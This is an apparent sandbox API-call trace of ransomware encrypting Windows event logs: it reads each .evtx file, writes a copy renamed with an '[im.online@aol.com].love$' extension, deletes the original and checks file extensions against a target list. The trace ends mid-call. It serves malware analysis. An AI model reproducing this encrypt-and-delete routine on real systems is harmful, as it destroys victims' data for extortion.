lstrlenW (lpString=".jpg") returned 4 [0226.376] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.377] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.377] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0226.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.377] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0226.377] CloseHandle (hObject=0x390) returned 1 [0226.377] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0226.377] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.377] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.378] GetLastError () returned 0x0 [0226.378] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.383] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.385] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0226.385] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x130, lpOverlapped=0x0) returned 1 [0226.385] SetEndOfFile (hFile=0x454) returned 1 [0226.385] CloseHandle (hObject=0x454) returned 1 [0226.388] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.388] SetEndOfFile (hFile=0x390) returned 1 [0226.390] CloseHandle (hObject=0x390) returned 1 [0226.390] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.390] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0226.391] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.391] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.391] lstrlenW (lpString=".doc") returned 4 [0226.391] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.391] lstrlenW (lpString=".docx") returned 5 [0226.391] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.391] lstrlenW (lpString=".pdf") returned 4 [0226.391] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.391] lstrlenW (lpString=".xls") returned 4 [0226.391] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.391] lstrlenW (lpString=".xlsx") returned 5 [0226.391] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.391] lstrlenW (lpString=".ppt") returned 4 [0226.391] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.391] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.391] lstrlenW (lpString=".zip") returned 4 [0226.391] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.391] lstrlenW (lpString=".rar") returned 4 [0226.391] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".bz2") returned 4 [0226.392] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".7z") returned 3 [0226.392] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString=".dbf") returned 4 [0226.392] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString=".1cd") returned 4 [0226.392] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString=".jpg") returned 4 [0226.392] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString=".doc") returned 4 [0226.392] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".docx") returned 5 [0226.392] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.392] lstrlenW (lpString=".pdf") returned 4 [0226.392] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".xls") returned 4 [0226.392] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".xlsx") returned 5 [0226.392] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.392] lstrlenW (lpString=".ppt") returned 4 [0226.392] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.392] lstrlenW (lpString=".zip") returned 4 [0226.392] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".rar") returned 4 [0226.392] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.392] lstrlenW (lpString=".bz2") returned 4 [0226.393] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.393] lstrlenW (lpString=".7z") returned 3 [0226.393] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.393] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.393] lstrlenW (lpString=".dbf") returned 4 [0226.393] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.393] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.393] lstrlenW (lpString=".1cd") returned 4 [0226.393] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.393] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0226.393] lstrlenW (lpString=".jpg") returned 4 [0226.393] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.393] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.393] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0226.393] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.393] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0226.394] CloseHandle (hObject=0x390) returned 1 [0226.394] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0226.394] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.394] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.394] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.394] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.394] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.398] GetLastError () returned 0x0 [0226.398] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.913] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.921] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0226.921] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x12e, lpOverlapped=0x0) returned 1 [0226.921] SetEndOfFile (hFile=0x454) returned 1 [0226.922] CloseHandle (hObject=0x454) returned 1 [0226.929] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.929] SetEndOfFile (hFile=0x390) returned 1 [0226.930] CloseHandle (hObject=0x390) returned 1 [0226.930] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0226.931] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0226.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.932] lstrlenW (lpString=".doc") returned 4 [0226.932] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".docx") returned 5 [0226.932] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.932] lstrlenW (lpString=".pdf") returned 4 [0226.932] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".xls") returned 4 [0226.932] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".xlsx") returned 5 [0226.932] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.932] lstrlenW (lpString=".ppt") returned 4 [0226.932] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.932] lstrlenW (lpString=".zip") returned 4 [0226.932] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".rar") returned 4 [0226.932] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".bz2") returned 4 [0226.932] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.932] lstrlenW (lpString=".7z") returned 3 [0226.932] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.932] lstrlenW (lpString=".dbf") returned 4 [0226.933] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.933] lstrlenW (lpString=".1cd") returned 4 [0226.933] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.933] lstrlenW (lpString=".jpg") returned 4 [0226.933] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.933] lstrlenW (lpString=".doc") returned 4 [0226.933] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString=".docx") returned 5 [0226.933] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0226.933] lstrlenW (lpString=".pdf") returned 4 [0226.933] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString=".xls") returned 4 [0226.933] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString=".xlsx") returned 5 [0226.933] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0226.933] lstrlenW (lpString=".ppt") returned 4 [0226.933] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.933] lstrlenW (lpString=".zip") returned 4 [0226.933] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString=".rar") returned 4 [0226.933] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0226.933] lstrlenW (lpString=".bz2") returned 4 [0226.934] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0226.934] lstrlenW (lpString=".7z") returned 3 [0226.934] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0226.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.934] lstrlenW (lpString=".dbf") returned 4 [0226.934] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0226.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.934] lstrlenW (lpString=".1cd") returned 4 [0226.934] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0226.934] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0226.934] lstrlenW (lpString=".jpg") returned 4 [0226.934] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0226.934] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0226.934] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0226.934] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.935] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0226.935] CloseHandle (hObject=0x390) returned 1 [0226.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0226.935] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0226.935] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.935] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0226.935] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0226.936] GetLastError () returned 0x0 [0226.936] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x11000, lpOverlapped=0x0) returned 1 [0226.941] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x11010, lpOverlapped=0x0) returned 1 [0226.945] ReadFile (in: hFile=0x390, lpBuffer=0x3db8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afecc, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesRead=0x35afecc*=0x0, lpOverlapped=0x0) returned 1 [0226.945] WriteFile (in: hFile=0x454, lpBuffer=0x3db8020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x35afc94, lpOverlapped=0x0 | out: lpBuffer=0x3db8020*, lpNumberOfBytesWritten=0x35afc94*=0x12e, lpOverlapped=0x0) returned 1 [0226.945] SetEndOfFile (hFile=0x454) returned 1 [0226.946] CloseHandle (hObject=0x454) returned 1 [0227.467] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.467] SetEndOfFile (hFile=0x390) returned 1 [0227.469] CloseHandle (hObject=0x390) returned 1 [0227.469] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.469] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0227.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.470] lstrlenW (lpString=".doc") returned 4 [0227.470] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString=".docx") returned 5 [0227.470] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.470] lstrlenW (lpString=".pdf") returned 4 [0227.470] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString=".xls") returned 4 [0227.470] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString=".xlsx") returned 5 [0227.470] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.470] lstrlenW (lpString=".ppt") returned 4 [0227.470] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.470] lstrlenW (lpString=".zip") returned 4 [0227.470] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString=".rar") returned 4 [0227.470] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.470] lstrlenW (lpString=".bz2") returned 4 [0227.471] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString=".7z") returned 3 [0227.471] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.471] lstrlenW (lpString=".dbf") returned 4 [0227.471] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.471] lstrlenW (lpString=".1cd") returned 4 [0227.471] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.471] lstrlenW (lpString=".jpg") returned 4 [0227.471] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.471] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.471] lstrlenW (lpString=".doc") returned 4 [0227.471] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString=".docx") returned 5 [0227.471] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.471] lstrlenW (lpString=".pdf") returned 4 [0227.471] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString=".xls") returned 4 [0227.471] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.471] lstrlenW (lpString=".xlsx") returned 5 [0227.471] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.471] lstrlenW (lpString=".ppt") returned 4 [0227.472] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.472] lstrlenW (lpString=".zip") returned 4 [0227.472] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString=".rar") returned 4 [0227.472] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString=".bz2") returned 4 [0227.472] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString=".7z") returned 3 [0227.472] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.472] lstrlenW (lpString=".dbf") returned 4 [0227.472] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.472] lstrlenW (lpString=".1cd") returned 4 [0227.472] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.472] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0227.472] lstrlenW (lpString=".jpg") returned 4 [0227.472] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.491] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.491] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0227.492] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0227.496] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x35aff14 | out: lpFileSize=0x35aff14*=69632) returned 1 [0227.496] CloseHandle (hObject=0x390) returned 1 [0227.497] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0227.497] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.497] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0227.497] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.497] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec0 | out: lpNewFilePointer=0x0) returned 1 [0227.497] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), 